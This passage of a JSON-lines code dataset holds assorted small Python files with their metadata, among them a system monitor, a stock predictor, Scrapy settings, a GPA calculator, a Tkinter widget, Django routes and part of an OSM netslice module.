slist:\n print(x)\n","sub_path":"pymongo-ex/ex07_query.py","file_name":"ex07_query.py","file_ext":"py","file_size_in_byte":608,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"566241911","text":"def diannao():\n # 导入模块\n import psutil\n import datetime\n # 定义保存cpu使用率变量\n cpu_per = psutil.cpu_percent(interval=0.5)\n # 定义内存使用率变量\n memory_info = psutil.virtual_memory().percent\n # 定义u硬盘信息\n disk_info = psutil.disk_usage(\"/\").percent\n # 定义变量保网络的信息\n net_info = psutil.net_io_counters().bytes_recv\n # 拼接字符串显示\n print(f\"cpu使用率:{cpu_per}\\n\"\n f\"内存使用情况:{memory_info}\\n\"\n f\"硬盘使用u硬盘使用情况ian:{disk_info}\\n\"\n f\"网络使用情况:{net_info}\")\n dat = datetime.datetime.fromtimestamp(psutil.boot_time())\n print(f\"时间:{dat}\")\n # 保存到日志文件\n lo = open(\"log.txt\", \"w\")\n lo.write(str(dat))\n lo.close()\n\n\nif __name__ == \"__main__\":\n while True:\n diannao()\n","sub_path":"1.Python基础/进阶学习/cyl_learn02/02_linix定时监控系统.py","file_name":"02_linix定时监控系统.py","file_ext":"py","file_size_in_byte":880,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"189430719","text":"import json\nvalor_total = 0\nwith open('estoque.json', 'r') as arquivo_json:\n texto = arquivo_json.read()\ndict = json.loads(texto)\n#dividindo por linhas\nX = dict[\"produtos\"]\nfor elemento in X:\n A = elemento[\"quantidade\"]\n B = elemento[\"valor\"]\n valor = A*B\n valor_total += valor\nprint(valor_total)","sub_path":"backup/user_289/ch159_2020_04_29_18_19_06_041229.py","file_name":"ch159_2020_04_29_18_19_06_041229.py","file_ext":"py","file_size_in_byte":311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"19139452","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as mpl\nfrom sklearn.preprocessing import scale\nfrom matplotlib.figure import Figure\nfrom TFANN import ANNR\nimport yfinance as yf\n\nclass Predict(object):\n def __init__(self, name, interval, hidden, iterations, tolerance):\n self.name = name\n \n # Retreive data\n if interval == \"Day\":\n hist = yf.Ticker(name).history(period=\"2y\", interval=\"1d\")\n if interval == \"Week\":\n hist = yf.Ticker(name).history(period=\"2y\", interval=\"1wk\")\n if interval == \"Month\":\n hist = yf.Ticker(name).history(period=\"2y\", interval=\"1mo\")\n\n prices = hist[\"Open\"]\n dates = []\n for d in range(len(prices)):\n dates.append(d)\n\n df = pd.DataFrame(prices)\n df.insert(1, \"Dates\", dates, True)\n\n # Scale Data\n self.stock = scale(df)\n self.hidden = hidden\n self.iterations = iterations\n self.tolerance = tolerance\n \n def predictionGraph(self):\n # Selecting prices and dates\n prices = self.stock[:, 0].reshape(-1, 1)\n dates = self.stock[:, 1].reshape(-1, 1)\n\n # Train and fit\n input = 1\n output = 1\n\n layers = [('F', self.hidden), ('AF', 'tanh'), ('F', self.hidden), ('AF', 'tanh'), ('F', self.hidden), ('AF', 'tanh'), ('F', output)]\n mlpr = ANNR([input], layers, batchSize = 256, maxIter = self.iterations, tol = self.tolerance, reg = 1e-4, verbose = True)\n holdDays = 5\n totalDays = len(dates)\n mlpr.fit(dates[0:(totalDays-holdDays)], prices[0:(totalDays-holdDays)])\n\n # Predict\n pricePredict = mlpr.predict(dates)\n\n # Plot the graph\n fig = Figure()\n axis = fig.add_subplot()\n axis.plot(dates, prices)\n axis.plot(dates, pricePredict, c='#5aa9ab')\n return axis\n \n\n ","sub_path":"final_project/stock_prediction/testing/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"545654581","text":"#!/bin/python\nfrom sys import argv,stderr\nfrom os import listdir\nfrom os.path import exists\n\ninputFolder=argv[1]\ncomparisonsInPrecedence=argv[2].split('.')\n\ncnvFile=\"NA\"\n\nfor comparison in comparisonsInPrecedence:\n comparisonPath=inputFolder+\"/\"+comparison\n if exists(comparisonPath):\n fileList=listdir(comparisonPath)\n if len(fileList)>0:\n for x in fileList:\n if \"chosen_most_important_info\" in x and x.endswith(\".txt.gz\"):\n rootFile = comparisonPath + \"/\" +x\n cnvFile='\\t'.join([rootFile,rootFile+\"_geneLevel.tsv.gz\",rootFile+\"_tadLevel.tsv.gz\"])\n break\nprint(cnvFile)\n","sub_path":"06-cohortAnalysisForEPISTEME/WGS/variantPickers/pickerCnv.py","file_name":"pickerCnv.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"539211720","text":"# Scrapy settings for tpdb project\n#\n# For simplicity, this file contains only settings considered important or\n# commonly used. You can find more settings consulting the documentation:\n#\n# https://docs.scrapy.org/en/latest/topics/settings.html\n# https://docs.scrapy.org/en/latest/topics/downloader-middleware.html\n# https://docs.scrapy.org/en/latest/topics/spider-middleware.html\n\n# Custom CLI Options:\n# \n# --loglevel=(DEBUG, INFO, WARNING, ERROR, CRITICAL) (loglevel = INFO by default)\n# -a limit_pages=#### (Number of pages to stop after, limit_pages=all for no limit)\n# -s display=true (Display a single line per entry scraped, DEBUG level will display entire Item object)\n# -s export=true (Export to JsonLinesItemExporter file, each line is its own JSON structure. Good for memory with large datasets)\n# -s file= (works with '-s export' to set the filename. Defaults to \".json\")\n# -s path= (works with '-s export' to set the file path. Defaults to whatever \"DEFAULT_EXPORT_PATH\" is set to in this file)\n\n\nBOT_NAME = 'tpdb'\n\nSPIDER_MODULES = ['tpdb.spiders']\nNEWSPIDER_MODULE = 'tpdb.spiders'\n\n# Crawl responsibly by identifying yourself (and your website) on the\n# user-agent\nUSER_AGENT = 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0'\n\n# Obey robots.txt rules\nROBOTSTXT_OBEY = False\n\n# Configure maximum concurrent requests performed by Scrapy (default: 16)\n# CONCURRENT_REQUESTS = 32\n\n# Configure a delay for requests for the same website (default: 0)\n# See https://docs.scrapy.org/en/latest/topics/settings.html#download-delay\n# See also autothrottle settings and docs\n# DOWNLOAD_DELAY = 3\n# The download delay setting will honor only one of:\n# CONCURRENT_REQUESTS_PER_DOMAIN = 16\n# CONCURRENT_REQUESTS_PER_IP = 16\n\n# Disable cookies (enabled by default)\nCOOKIES_ENABLED = True\n# COOKIES_DEBUG = True\n# Disable Telnet Console (enabled by default)\n# TELNETCONSOLE_ENABLED = False\n\n# Override the default request headers:\n# DEFAULT_REQUEST_HEADERS = {\n# 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',\n# 'Accept-Language': 'en',\n# }\n\n# Enable or disable spider middlewares\n# See https://docs.scrapy.org/en/latest/topics/spider-middleware.html\nSPIDER_MIDDLEWARES = {\n # 'tpdb.middlewares.TpdbSpiderMiddleware': 543,\n}\n\n# Enable or disable downloader middlewares\n# See https://docs.scrapy.org/en/latest/topics/downloader-middleware.html\nDOWNLOADER_MIDDLEWARES = {\n 'scrapy.downloadermiddlewares.cookies.CookiesMiddleware': 100,\n # 'tpdb.middlewares.TpdbDownloaderMiddleware': 543,\n}\n\n# Enable or disable extensions\n# See https://docs.scrapy.org/en/latest/topics/extensions.html\n# EXTENSIONS = {\n# 'scrapy.extensions.telnet.TelnetConsole': None,\n# }\n\n# Configure item pipelines\n# See https://docs.scrapy.org/en/latest/topics/item-pipeline.html\nITEM_PIPELINES = {\n # 'tpdb.pipelines.TpdbApiScenePipeline': 400,\n}\n\n# Enable and configure the AutoThrottle extension (disabled by default)\n# See https://docs.scrapy.org/en/latest/topics/autothrottle.html\nAUTOTHROTTLE_ENABLED = False\n# The initial download delay\nAUTOTHROTTLE_START_DELAY = 5\n# The maximum download delay to be set in case of high latencies\nAUTOTHROTTLE_MAX_DELAY = 60\n# The average number of requests Scrapy should be sending in parallel to\n# each remote server\nAUTOTHROTTLE_TARGET_CONCURRENCY = 1.0\n# Enable showing throttling stats for every response received:\nAUTOTHROTTLE_DEBUG = True\n\n# Enable and configure HTTP caching (disabled by default)\n# See\n# https://docs.scrapy.org/en/latest/topics/downloader-middleware.html#httpcache-middleware-settings\nHTTPCACHE_ENABLED = False\nHTTPCACHE_EXPIRATION_SECS = 7200\nHTTPCACHE_DIR = 'httpcache'\n# HTTPCACHE_IGNORE_HTTP_CODES = []\nHTTPCACHE_STORAGE = 'scrapy.extensions.httpcache.FilesystemCacheStorage'\n# TWISTED_REACTOR = 'twisted.internet.asyncioreactor.AsyncioSelectorReactor'\n# DUPEFILTER_DEBUG = True\n\nLOG_LEVEL = 'INFO'\nDEFAULT_EXPORT_PATH = \"./\"\n","sub_path":"tpdb/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":4020,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"263616400","text":"import urllib.request\nimport re\nimport xlsxwriter\nfrom bs4 import BeautifulSoup\n\ndef get_html(url):\n response = urllib.request.urlopen(url)\n return response.read()\n\n\ndef parse(html):\n row = 0\n workbook = xlsxwriter.Workbook('Expenses01.xlsx')\n worksheet = workbook.add_worksheet()\n soup = BeautifulSoup(html)\n pdf = soup.findAll('li')[5:]\n\n for pdf in soup.findAll('li')[5:]:\n cols = pdf.a.string\n format = pdf.span.string\n m = re.search('(\\d+,\\d)', pdf.span.string)\n size = m.group(0)\n worksheet.write_number(row, 0, float(re.sub(',','.', size)));\n row += 1\n continue\n\n worksheet.write_string(row+1, 0, \"Total\")\n worksheet.write(row+1, 1, '=SUM(A1:A'+str(row)+')')\n\ndef main():\n parse(get_html('http://sutd.ru/publishing/stylestudent/'))\n\nif __name__ == '__main__':\n main()\n\n\n","sub_path":"my_first_parser.py","file_name":"my_first_parser.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"128168378","text":"import numpy as np\nimport torch\nimport torch.nn as nn\nimport torchvision.transforms as tfs\nimport torchvision.transforms.functional as TF\nimport os\nimport cv2\nfrom PIL import Image\nfrom torch.utils.data import Dataset, DataLoader\n\nroot = \"PATH_TO_DATA_AND_LABEL\"\n\ndef read_images(root, train=True):\n txt_fname = (\"./train.txt\" if train else \"./val.txt\")\n with open(txt_fname, \"r\") as f:\n images = f.read().split()\n data = [os.path.join(root, \"img\", i+\".jpg\") for i in images]\n label = [os.path.join(root, \"label\", i+\".png\") for i in images]\n return data, label\n\ndef BGR2RGB(img):\n b,g,r = cv2.split(img)\n img = cv2.merge([r,g,b])\n return img\n\ndef image2label(im):\n classes = ['background','object']\n colormap = [[0,0,0],[52,0,255]]\n cm2lbl = np.zeros(256**3)\n for i,cm in enumerate(colormap):\n cm2lbl[(cm[0]*256+cm[1])*256+cm[2]] = i\n data = np.array(im, dtype='int32')\n idx = (data[:, :, 0] * 256 + data[:, :, 1]) * 256 + data[:, :, 2]\n return np.array(cm2lbl[idx], dtype='int64')\n\ndef img_transforms(im, label, inference=False):\n im_tfs = tfs.Compose([tfs.ToTensor(), tfs.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])])\n im = im_tfs(im)\n if not inference:\n label = image2label(label)\n label = torch.from_numpy(label)\n label = nn.ZeroPad2d(padding=(6,6,6,6))(label)\n label = torch.nn.functional.one_hot(label, 2).permute(2,0,1)\n return im, label\n\nclass SegDataset(Dataset):\n def __init__(self, train, transforms):\n self.transforms = transforms\n self.data_list, self.label_list = read_images(root=root, train=train)\n\n def __getitem__(self, idx):\n img = self.data_list[idx]\n label = self.label_list[idx]\n img = cv2.imread(img)\n img = BGR2RGB(img)\n label = cv2.imread(label)\n label = BGR2RGB(label)\n img, label = self.transforms(img, label)\n return img, label, self.data_list[idx]\n\n def __len__(self):\n return len(self.data_list) \n","sub_path":"fcn_dataset.py","file_name":"fcn_dataset.py","file_ext":"py","file_size_in_byte":2029,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"160547087","text":"from test_data import *\n\ndef calculate_GPA(percent_list, gpa=0, curr_num_credits=0):\n '''\n Calculates CGPA given each course's percentage in gpa_list.\n CR/NCR should be excluded from percent_list\n\n REQ: Each course is assumed to have COURSE_WEIGHT weight.\n '''\n\n COURSE_WEIGHT = 0.5\n\n if len(percent_list) == 0:\n return gpa / curr_num_credits\n else:\n curr_gpa = COURSE_WEIGHT * convert_gpa(percent_list[0])\n return calculate_GPA(percent_list[1:], gpa + curr_gpa,\n curr_num_credits + COURSE_WEIGHT)\n\ndef convert_gpa(percent):\n if percent >= 0 and percent < 50:\n return 0\n elif percent <= 52:\n return 0.7\n elif percent <= 56:\n return 1.0\n elif percent <= 59:\n return 1.3\n elif percent <= 62:\n return 1.7\n elif percent <= 66:\n return 2.0\n elif percent <= 69:\n return 2.3\n elif percent <= 72:\n return 2.7\n elif percent <= 76:\n return 3.0\n elif percent <= 79:\n return 3.3\n elif percent <= 84:\n return 3.7\n elif percent <= 100:\n return 4.0\n\nprint(calculate_GPA(l1+l2+l3+l4+l5+l6))\n#print(calculate_GPA(l6))","sub_path":"GPA_Calculator.py","file_name":"GPA_Calculator.py","file_ext":"py","file_size_in_byte":1176,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"65218176","text":"#\r\n# Tkinter 3000\r\n#\r\n# a simple configurable arrow button widget\r\n#\r\n\r\nimport string\r\n\r\nfrom WCK import ButtonWidget, FOREGROUND\r\n\r\nclass ArrowButton(ButtonWidget):\r\n\r\n ui_option_foreground = FOREGROUND\r\n\r\n ui_option_width = ui_option_height = 100\r\n\r\n ui_option_direction = \"e\"\r\n\r\n def ui_handle_config(self):\r\n self.ui_damage() # just in case direction changed\r\n return int(self.ui_option_width), int(self.ui_option_height)\r\n\r\n def ui_handle_repair(self, draw, x0, y0, x1, y1):\r\n if self.cget(\"relief\") == \"sunken\":\r\n draw.settransform((1, 1))\r\n direction = string.lower(self.ui_option_direction)\r\n brush = self.ui_brush(self.ui_option_foreground)\r\n if direction == \"e\":\r\n draw.polygon((x0, y0, x1, (y0+y1)/2, x0, y1), brush)\r\n elif direction == \"n\":\r\n draw.polygon((x0, y1, (x0+x1)/2, y0, x1, y1), brush)\r\n elif direction == \"w\":\r\n draw.polygon((x1, y0, x0, (y0+y1)/2, x1, y1), brush)\r\n elif direction == \"s\":\r\n draw.polygon((x0, y0, (x0+x1)/2, y1, x1, y0), brush)\r\n\r\nif __name__ == \"__main__\":\r\n\r\n import Tkinter\r\n\r\n root = Tkinter.Tk()\r\n root.title(\"demoArrowButton\")\r\n\r\n widget = ArrowButton(root, direction=\"n\")\r\n widget.pack(fill=\"both\", expand=1)\r\n\r\n widget = ArrowButton(root, foreground=\"red\", direction=\"s\")\r\n widget.pack(fill=\"both\", expand=1)\r\n\r\n widget = ArrowButton(root, foreground=\"blue\", direction=\"e\")\r\n widget.pack(fill=\"both\", expand=1)\r\n\r\n widget = ArrowButton(root, direction=\"w\")\r\n widget.pack(fill=\"both\", expand=1)\r\n\r\n root.mainloop()\r\n","sub_path":"lib/tkinter3000-1.1.1-20061204/demoArrowButton.py","file_name":"demoArrowButton.py","file_ext":"py","file_size_in_byte":1632,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"556953077","text":"#\n# RTEMS Tools Project (http://www.rtems.org/)\n# Copyright 2010-2013 Chris Johns (chrisj@rtems.org)\n# All rights reserved.\n#\n# This file is part of the RTEMS Tools package in 'rtems-tools'.\n#\n# Permission to use, copy, modify, and/or distribute this software for any\n# purpose with or without fee is hereby granted, provided that the above\n# copyright notice and this permission notice appear in all copies.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n\n#\n# Windows specific support and overrides.\n#\n\nimport error\nimport pprint\nimport os\n\nimport execute\n\ndef load():\n # Default to the native Windows Python.\n uname = 'win32'\n system = 'mingw32'\n if os.environ.has_key('HOSTTYPE'):\n hosttype = os.environ['HOSTTYPE']\n else:\n hosttype = 'i686'\n host_triple = hosttype + '-pc-' + system\n build_triple = hosttype + '-pc-' + system\n\n # See if this is actually Cygwin Python\n if os.name == 'posix':\n try:\n uname = os.uname()\n hosttype = uname[4]\n uname = uname[0]\n if uname.startswith('CYGWIN'):\n if uname.endswith('WOW64'):\n uname = 'cygwin'\n build_triple = hosttype + '-pc-' + uname\n hosttype = 'x86_64'\n host_triple = hosttype + '-w64-' + system\n else:\n raise error.general('invalid uname for Windows')\n else:\n raise error.general('invalid POSIX python')\n except:\n pass\n\n if os.environ.has_key('NUMBER_OF_PROCESSORS'):\n ncpus = os.environ['NUMBER_OF_PROCESSORS']\n else:\n ncpus = '1'\n\n version = uname[2]\n defines = {\n '_ncpus': ('none', 'none', ncpus),\n '_os': ('none', 'none', 'win32'),\n '_build': ('triplet', 'required', build_triple),\n '_build_vendor': ('none', 'none', 'microsoft'),\n '_build_os': ('none', 'none', 'win32'),\n '_build_os_version': ('none', 'none', version),\n '_build_cpu': ('none', 'none', hosttype),\n '_build_alias': ('none', 'none', '%{nil}'),\n '_build_arch': ('none', 'none', hosttype),\n '_host': ('triplet', 'required', host_triple),\n '_host_vendor': ('none', 'none', 'microsoft'),\n '_host_os': ('none', 'none', 'win32'),\n '_host_cpu': ('none', 'none', hosttype),\n '_host_alias': ('none', 'none', '%{nil}'),\n '_host_arch': ('none', 'none', hosttype),\n '_usr': ('dir', 'optional', '/opt/local'),\n '_var': ('dir', 'optional', '/opt/local/var'),\n '__bash': ('exe', 'required', 'bash'),\n '__bzip2': ('exe', 'required', 'bzip2'),\n '__bison': ('exe', 'required', 'bison'),\n '__cat': ('exe', 'required', 'cat'),\n '__cc': ('exe', 'required', 'gcc'),\n '__chgrp': ('exe', 'required', 'chgrp'),\n '__chmod': ('exe', 'required', 'chmod'),\n '__chown': ('exe', 'required', 'chown'),\n '__cp': ('exe', 'required', 'cp'),\n '__cvs': ('exe', 'required', 'cvs'),\n '__cxx': ('exe', 'required', 'g++'),\n '__flex': ('exe', 'required', 'flex'),\n '__git': ('exe', 'required', 'git'),\n '__grep': ('exe', 'required', 'grep'),\n '__gzip': ('exe', 'required', 'gzip'),\n '__id': ('exe', 'required', 'id'),\n '__install': ('exe', 'required', 'install'),\n '__install_info': ('exe', 'required', 'install-info'),\n '__ld': ('exe', 'required', 'ld'),\n '__ldconfig': ('exe', 'none', ''),\n '__makeinfo': ('exe', 'required', 'makeinfo'),\n '__mkdir': ('exe', 'required', 'mkdir'),\n '__mv': ('exe', 'required', 'mv'),\n '__nm': ('exe', 'required', 'nm'),\n '__nm': ('exe', 'required', 'nm'),\n '__objcopy': ('exe', 'required', 'objcopy'),\n '__objdump': ('exe', 'required', 'objdump'),\n '__patch': ('exe', 'required', 'patch'),\n '__patch_bin': ('exe', 'required', 'patch'),\n '__rm': ('exe', 'required', 'rm'),\n '__sed': ('exe', 'required', 'sed'),\n '__sh': ('exe', 'required', 'sh'),\n '__tar': ('exe', 'required', 'bsdtar'),\n '__touch': ('exe', 'required', 'touch'),\n '__unzip': ('exe', 'required', 'unzip'),\n '__xz': ('exe', 'required', 'xz'),\n '_buildshell': ('exe', 'required', '%{__sh}'),\n '___setup_shell': ('exe', 'required', '%{__sh}')\n }\n return defines\n\nif __name__ == '__main__':\n pprint.pprint(load())\n","sub_path":"source-builder/sb/windows.py","file_name":"windows.py","file_ext":"py","file_size_in_byte":5714,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"471214396","text":"from django.contrib import admin\nfrom django.urls import include, path\nfrom rest_framework import routers\nfrom rest_framework_extensions.routers import ExtendedDefaultRouter\nfrom twitter.api.router import SwitchDetailRouter\nfrom twitter.api import views\n\nswitch_router = SwitchDetailRouter()\nrouter = ExtendedDefaultRouter()\n\nuser_route = router.register(r'users', views.UserViewSet)\nuser_route.register('tweets', views.UserTweetViewSet, 'user-tweets', ['username'])\nuser_route.register('follows', views.UserFollowsViewSet, 'user-follows', ['username'])\nuser_route.register('followed', views.UserFollowerViewSet, 'user-follower', ['username'])\nrouter.register(r'tweets', views.TweetViewSet)\nrouter.register(r'feed', views.FeedTweetViewSet)\nswitch_router.register(r'follow', views.FollowViewSet)\n\n# Wire up our API using automatic URL routing.\n# Additionally, we include login URLs for the browsable API.\nurlpatterns = [\n path('v1/', include(router.urls)),\n path('v1/', include(switch_router.urls)),\n path('admin/', admin.site.urls),\n path('api-auth/', include('rest_framework.urls', namespace='rest_framework'))\n]\n","sub_path":"twitter/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1126,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"407306081","text":"# -*- coding: utf-8 -*-\n##\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n##\n\nimport asyncio\nimport logging\nimport logging.handlers\nimport traceback\nfrom osm_lcm import ROclient\nfrom osm_lcm.lcm_utils import LcmException, LcmBase, populate_dict, get_iterable, deep_get\nfrom osm_common.dbbase import DbException\nfrom time import time\nfrom copy import deepcopy\n\n\n__author__ = \"Felipe Vicens, Pol Alemany, Alfonso Tierno\"\n\n\nclass NetsliceLcm(LcmBase):\n\n timeout_nsi_deploy = 2 * 3600 # default global timeout for deployment a nsi\n\n def __init__(self, db, msg, fs, lcm_tasks, config, loop, ns):\n \"\"\"\n Init, Connect to database, filesystem storage, and messaging\n :param config: two level dictionary with configuration. Top level should contain 'database', 'storage',\n :return: None\n \"\"\"\n # logging\n self.logger = logging.getLogger('lcm.netslice')\n self.loop = loop\n self.lcm_tasks = lcm_tasks\n self.ns = ns\n self.ro_config = config[\"ro_config\"]\n self.timeout = config[\"timeout\"]\n\n super().__init__(db, msg, fs, self.logger)\n\n def nsi_update_nsir(self, nsi_update_nsir, db_nsir, nsir_desc_RO):\n \"\"\"\n Updates database nsir with the RO info for the created vld\n :param nsi_update_nsir: dictionary to be filled with the updated info\n :param db_nsir: content of db_nsir. This is also modified\n :param nsir_desc_RO: nsir descriptor from RO\n :return: Nothing, LcmException is raised on errors\n \"\"\"\n\n for vld_index, vld in enumerate(get_iterable(db_nsir, \"vld\")):\n for net_RO in get_iterable(nsir_desc_RO, \"nets\"):\n if vld[\"id\"] != net_RO.get(\"ns_net_osm_id\"):\n continue\n vld[\"vim-id\"] = net_RO.get(\"vim_net_id\")\n vld[\"name\"] = net_RO.get(\"vim_name\")\n vld[\"status\"] = net_RO.get(\"status\")\n vld[\"status-detailed\"] = net_RO.get(\"error_msg\")\n nsi_update_nsir[\"vld.{}\".format(vld_index)] = vld\n break\n else:\n raise LcmException(\"ns_update_nsir: Not found vld={} at RO info\".format(vld[\"id\"]))\n\n async def instantiate(self, nsir_id, nsilcmop_id):\n\n # Try to lock HA task here\n task_is_locked_by_me = self.lcm_tasks.lock_HA('nsi', 'nsilcmops', nsilcmop_id)\n if not task_is_locked_by_me:\n return\n\n logging_text = \"Task netslice={} instantiate={} \".format(nsir_id, nsilcmop_id)\n self.logger.debug(logging_text + \"Enter\")\n # get all needed from database\n exc = None\n db_nsir = None\n db_nsilcmop = None\n db_nsir_update = {\"_admin.nsilcmop\": nsilcmop_id}\n db_nsilcmop_update = {}\n nsilcmop_operation_state = None\n vim_2_RO = {}\n RO = ROclient.ROClient(self.loop, **self.ro_config)\n\n def ip_profile_2_RO(ip_profile):\n RO_ip_profile = deepcopy((ip_profile))\n if \"dns-server\" in RO_ip_profile:\n if isinstance(RO_ip_profile[\"dns-server\"], list):\n RO_ip_profile[\"dns-address\"] = []\n for ds in RO_ip_profile.pop(\"dns-server\"):\n RO_ip_profile[\"dns-address\"].append(ds['address'])\n else:\n RO_ip_profile[\"dns-address\"] = RO_ip_profile.pop(\"dns-server\")\n if RO_ip_profile.get(\"ip-version\") == \"ipv4\":\n RO_ip_profile[\"ip-version\"] = \"IPv4\"\n if RO_ip_profile.get(\"ip-version\") == \"ipv6\":\n RO_ip_profile[\"ip-version\"] = \"IPv6\"\n if \"dhcp-params\" in RO_ip_profile:\n RO_ip_profile[\"dhcp\"] = RO_ip_profile.pop(\"dhcp-params\")\n return RO_ip_profile\n\n def vim_account_2_RO(vim_account):\n \"\"\"\n Translate a RO vim_account from OSM vim_account params\n :param ns_params: OSM instantiate params\n :return: The RO ns descriptor\n \"\"\"\n if vim_account in vim_2_RO:\n return vim_2_RO[vim_account]\n\n db_vim = self.db.get_one(\"vim_accounts\", {\"_id\": vim_account})\n if db_vim[\"_admin\"][\"operationalState\"] != \"ENABLED\":\n raise LcmException(\"VIM={} is not available. operationalState={}\".format(\n vim_account, db_vim[\"_admin\"][\"operationalState\"]))\n RO_vim_id = db_vim[\"_admin\"][\"deployed\"][\"RO\"]\n vim_2_RO[vim_account] = RO_vim_id\n return RO_vim_id\n\n async def netslice_scenario_create(self, vld_item, nsir_id, db_nsir, db_nsir_admin, db_nsir_update):\n \"\"\"\n Create a network slice VLD through RO Scenario\n :param vld_id The VLD id inside nsir to be created\n :param nsir_id The nsir id\n \"\"\"\n ip_vld = None\n mgmt_network = False\n RO_vld_sites = []\n vld_id = vld_item[\"id\"]\n netslice_vld = vld_item\n # logging_text = \"Task netslice={} instantiate_vld={} \".format(nsir_id, vld_id)\n # self.logger.debug(logging_text + \"Enter\")\n\n vld_shared = None\n for shared_nsrs_item in get_iterable(vld_item, \"shared-nsrs-list\"):\n _filter = {\"_id.ne\": nsir_id, \"_admin.nsrs-detailed-list.ANYINDEX.nsrId\": shared_nsrs_item}\n shared_nsi = self.db.get_one(\"nsis\", _filter, fail_on_empty=False, fail_on_more=False)\n if shared_nsi:\n for vlds in get_iterable(shared_nsi[\"_admin\"][\"deployed\"], \"RO\"):\n if vld_id == vlds[\"vld_id\"]:\n vld_shared = {\"instance_scenario_id\": vlds[\"netslice_scenario_id\"], \"osm_id\": vld_id}\n break\n break\n\n # Creating netslice-vld at RO\n RO_nsir = deep_get(db_nsir, (\"_admin\", \"deployed\", \"RO\"), [])\n\n if vld_id in RO_nsir:\n db_nsir_update[\"_admin.deployed.RO\"] = RO_nsir\n\n # If netslice-vld doesn't exists then create it\n else:\n # TODO: Check VDU type in all descriptors finding SRIOV / PT\n # Updating network names and datacenters from instantiation parameters for each VLD\n RO_ns_params = {}\n RO_ns_params[\"name\"] = netslice_vld[\"name\"]\n RO_ns_params[\"datacenter\"] = vim_account_2_RO(db_nsir[\"instantiation_parameters\"][\"vimAccountId\"])\n for instantiation_params_vld in get_iterable(db_nsir[\"instantiation_parameters\"], \"netslice-vld\"):\n if instantiation_params_vld.get(\"name\") == netslice_vld[\"name\"]:\n ip_vld = deepcopy(instantiation_params_vld)\n\n if netslice_vld.get(\"mgmt-network\"):\n mgmt_network = True\n\n # Creating scenario if vim-network-name / vim-network-id are present as instantiation parameter\n # Use vim-network-id instantiation parameter\n vim_network_option = None\n if ip_vld:\n if ip_vld.get(\"vim-network-id\"):\n vim_network_option = \"vim-network-id\"\n elif ip_vld.get(\"vim-network-name\"):\n vim_network_option = \"vim-network-name\"\n if ip_vld.get(\"ip-profile\"):\n populate_dict(RO_ns_params, (\"networks\", netslice_vld[\"name\"], \"ip-profile\"),\n ip_profile_2_RO(ip_vld[\"ip-profile\"]))\n\n if vim_network_option:\n if ip_vld.get(vim_network_option):\n if isinstance(ip_vld.get(vim_network_option), list):\n for vim_net_id in ip_vld.get(vim_network_option):\n for vim_account, vim_net in vim_net_id.items():\n RO_vld_sites.append({\n \"netmap-use\": vim_net,\n \"datacenter\": vim_account_2_RO(vim_account)\n })\n elif isinstance(ip_vld.get(vim_network_option), dict):\n for vim_account, vim_net in ip_vld.get(vim_network_option).items():\n RO_vld_sites.append({\n \"netmap-use\": vim_net,\n \"datacenter\": vim_account_2_RO(vim_account)\n })\n else:\n RO_vld_sites.append({\n \"netmap-use\": ip_vld[vim_network_option],\n \"datacenter\": vim_account_2_RO(netslice_vld[\"vimAccountId\"])})\n \n # Use default netslice vim-network-name from template\n else:\n for nss_conn_point_ref in get_iterable(netslice_vld, \"nss-connection-point-ref\"):\n if nss_conn_point_ref.get(\"vimAccountId\"):\n if nss_conn_point_ref[\"vimAccountId\"] != netslice_vld[\"vimAccountId\"]:\n RO_vld_sites.append({\n \"netmap-create\": None,\n \"datacenter\": vim_account_2_RO(nss_conn_point_ref[\"vimAccountId\"])})\n\n if vld_shared:\n populate_dict(RO_ns_params, (\"networks\", netslice_vld[\"name\"], \"use-network\"), vld_shared)\n\n if RO_vld_sites:\n populate_dict(RO_ns_params, (\"networks\", 